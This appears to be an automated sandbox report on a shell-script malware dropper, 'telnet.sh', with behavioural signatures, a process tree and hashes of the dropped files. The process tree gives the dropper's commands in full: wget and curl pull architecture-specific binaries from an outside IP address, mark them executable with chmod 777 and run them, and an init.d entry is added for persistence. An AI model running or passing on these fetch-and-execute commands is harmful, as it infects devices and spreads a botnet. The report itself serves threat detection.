Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    17/07/2026, 23:09

General

  • Target
    telnet.sh
  • Size 1KB
  • Sample260717-25l14scw2x
  • SHA256 a2dd8c859251c361c46d3670536e81d85acaa44ac938f3057bcecdf50b2ad5ee
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 17 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/telnet.sh
    /tmp/telnet.sh
    1⤵
    • Executes dropped EXE
    PID:654
    • /usr/bin/wget
      wget http://103.83.87.122/iran.x86_64 -O x86_64
      2⤵
      • Writes file to tmp directory
      PID:656
    • /bin/chmod
      chmod 777 x86_64
      2⤵
      • File and Directory Permissions Modification
      PID:681
    • /tmp/x86_64
      ./x86_64 telnet
      2⤵
        PID:682
      • /usr/bin/wget
        wget http://103.83.87.122/iran.aarch64 -O aarch64
        2⤵
        • Writes file to tmp directory
        PID:684
      • /bin/chmod
        chmod 777 aarch64
        2⤵
        • File and Directory Permissions Modification
        PID:686
      • /tmp/aarch64
        ./aarch64 telnet
        2⤵
          PID:687
        • /usr/bin/wget
          wget http://103.83.87.122/iran.m68k -O m68k
          2⤵
          • Writes file to tmp directory
          PID:689
        • /bin/chmod
          chmod 777 m68k
          2⤵
          • File and Directory Permissions Modification
          PID:724
        • /tmp/m68k
          ./m68k telnet
          2⤵
            PID:727
          • /usr/bin/wget
            wget http://103.83.87.122/iran.mips -O mips
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:730
          • /bin/chmod
            chmod 777 mips
            2⤵
            • File and Directory Permissions Modification
            PID:739
          • /tmp/mips
            ./mips telnet
            2⤵
            • System Network Configuration Discovery
            PID:740
          • /usr/bin/wget
            wget http://103.83.87.122/iran.mipsel -O mipsel
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:742
          • /bin/chmod
            chmod 777 mipsel
            2⤵
            • File and Directory Permissions Modification
            PID:743
          • /tmp/mipsel
            ./mipsel telnet
            2⤵
            • System Network Configuration Discovery
            PID:744
          • /usr/bin/wget
            wget http://103.83.87.122/iran.powerpc -O powerpc
            2⤵
            • Writes file to tmp directory
            PID:746
          • /bin/chmod
            chmod 777 powerpc
            2⤵
            • File and Directory Permissions Modification
            PID:747
          • /tmp/powerpc
            ./powerpc telnet
            2⤵
              PID:748
            • /usr/bin/wget
              wget http://103.83.87.122/iran.sparc -O sparc
              2⤵
              • Writes file to tmp directory
              PID:750
            • /bin/chmod
              chmod 777 sparc
              2⤵
              • File and Directory Permissions Modification
              PID:755
            • /tmp/sparc
              ./sparc telnet
              2⤵
                PID:756
              • /usr/bin/wget
                wget http://103.83.87.122/iran.sh4 -O sh4
                2⤵
                • Writes file to tmp directory
                PID:758
              • /bin/chmod
                chmod 777 sh4
                2⤵
                • File and Directory Permissions Modification
                PID:773
              • /tmp/sh4
                ./sh4 telnet
                2⤵
                  PID:774
                • /usr/bin/wget
                  wget http://103.83.87.122/iran.arc -O arc
                  2⤵
                  • Writes file to tmp directory
                  PID:776
                • /bin/chmod
                  chmod 777 arc
                  2⤵
                  • File and Directory Permissions Modification
                  PID:789
                • /tmp/arc
                  ./arc telnet
                  2⤵
                    PID:790
                  • /usr/bin/wget
                    wget http://103.83.87.122/iran.i486 -O i486
                    2⤵
                    • Writes file to tmp directory
                    PID:792
                  • /bin/chmod
                    chmod 777 i486
                    2⤵
                    • File and Directory Permissions Modification
                    PID:793
                  • /tmp/i486
                    ./i486 telnet
                    2⤵
                      PID:794
                    • /usr/bin/wget
                      wget http://103.83.87.122/iran.armv4l -O armv4l
                      2⤵
                      • Writes file to tmp directory
                      PID:796
                    • /bin/chmod
                      chmod 777 armv4l
                      2⤵
                      • File and Directory Permissions Modification
                      PID:797
                    • /tmp/armv4l
                      ./armv4l telnet
                      2⤵
                      • Modifies init.d
                      • Changes its process name
                      • Reads runtime system information
                      PID:798
                    • /usr/bin/wget
                      wget http://103.83.87.122/iran.armv5l -O armv5l
                      2⤵
                      • Writes file to tmp directory
                      PID:800
                    • /usr/bin/curl
                      curl http://103.83.87.122/iran.armv5l -o armv5l
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:805
                    • /bin/chmod
                      chmod 777 armv5l
                      2⤵
                      • File and Directory Permissions Modification
                      PID:806
                    • /tmp/armv5l
                      ./armv5l telnet
                      2⤵
                        PID:807
                      • /usr/bin/wget
                        wget http://103.83.87.122/iran.armv6l -O armv6l
                        2⤵
                        • Writes file to tmp directory
                        PID:808
                      • /usr/bin/curl
                        curl http://103.83.87.122/iran.armv6l -o armv6l
                        2⤵
                        • Checks CPU configuration
                        • Writes file to tmp directory
                        PID:809
                      • /bin/chmod
                        chmod 777 armv6l
                        2⤵
                        • File and Directory Permissions Modification
                        PID:810
                      • /tmp/armv6l
                        ./armv6l telnet
                        2⤵
                          PID:811
                        • /usr/bin/wget
                          wget http://103.83.87.122/iran.armv7l -O armv7l
                          2⤵
                          • Writes file to tmp directory
                          PID:812
                        • /usr/bin/curl
                          curl http://103.83.87.122/iran.armv7l -o armv7l
                          2⤵
                          • Checks CPU configuration
                          • Writes file to tmp directory
                          PID:813
                        • /bin/chmod
                          chmod 777 armv7l
                          2⤵
                          • File and Directory Permissions Modification
                          PID:814
                        • /tmp/armv7l
                          ./armv7l telnet
                          2⤵
                            PID:815

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              xs.main

                              • Path /etc/init.d/xs.main
                              • Size 26B
                              • SHA256 7293b4416a8946d8fedb1c1b188b82168221224ed51fdb774dd0a9ab1f65d100
                              • MD5 SHA1 SHA512

                              aarch64

                              • Path /tmp/aarch64
                              • Size 205KB
                              • SHA256 bf38b3e5d645c78377599a6c218a347312c5a3daef693c7931f2710806d85317
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              arc

                              • Path /tmp/arc
                              • Size 153KB
                              • SHA256 21c5f4a04173a5176d60b06095bf5d25e0022ffbe304601e368eccf718587dc8
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              armv4l

                              • Path /tmp/armv4l
                              • Size 153KB
                              • SHA256 9538c8a2edeaa8667134a469d03a7057ddc1e753ce1e5250f92f01c1097fcb1d
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              armv5l

                              • Path /tmp/armv5l
                              • Size 12KB
                              • SHA256 d190778bd0b91b90610edb5d0cb108171c3fb0dbe98c60417d514c102cf855bd
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              armv6l

                              • Path /tmp/armv6l
                              • Size 98KB
                              • SHA256 aaa9e03d130714834a3d43807c186fb35b6b623acb9d33e360bcb5d682f3bf49
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              armv6l

                              • Path /tmp/armv6l
                              • Size 40KB
                              • SHA256 9ebb7e77861176633a5436bb596cb90adb93eeaec9bfb982f1f2a573d11479ec
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              armv7l

                              • Path /tmp/armv7l
                              • Size 142KB
                              • SHA256 b1f2808e05cb42894790c12172ffacf8673a0a7e14c7af5ad43d5bedfa62a5e4
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              armv7l

                              • Path /tmp/armv7l
                              • Size 96KB
                              • SHA256 21277bdac0ac41394c02d5039d0992286b213fc6ee88e14f8111d1ed7082bb50
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              i486

                              • Path /tmp/i486
                              • Size 98KB
                              • SHA256 ec442a132f27486d1dfa3faa92c03e10012afe2b8de39fa9b42b367f7971c989
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              m68k

                              • Path /tmp/m68k
                              • Size 177KB
                              • SHA256 f5cb6dadaee4399a1f014ef5946d0a4c1af578d15ff078e725e0757f28dc8493
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              mips

                              • Path /tmp/mips
                              • Size 204KB
                              • SHA256 e987bb8b32facef51c3cc5a94bd51e01d8c3be8a19c106de70147ab5ce84dc66
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              mipsel

                              • Path /tmp/mipsel
                              • Size 206KB
                              • SHA256 6e709fb9b09d9f8318724a8620812f55411a3ea49de6319c4832885547773ddd
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              powerpc

                              • Path /tmp/powerpc
                              • Size 155KB
                              • SHA256 0d64cd75599dea5b8cf393b6e2b709f51b3971e64b96920e0707020e22ee7953
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              sh4

                              • Path /tmp/sh4
                              • Size 138KB
                              • SHA256 b4acd1ab65624b694946b1181bba0732bb63c88c51b8334914c26c1805b2e1aa
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              sparc

                              • Path /tmp/sparc
                              • Size 42KB
                              • SHA256 f38d748d9ea29424c28744c52bcd1d14328d49fcb604ca08fab3547ec500d6f0
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              x86_64

                              • Path /tmp/x86_64
                              • Size 160KB
                              • SHA256 b1a6dba6636b519d76d7219f6264ac9f1456681c0855baef954fb435d3e25ce5
                              • MD5 SHA1 SHA512 SSDEEP TLSH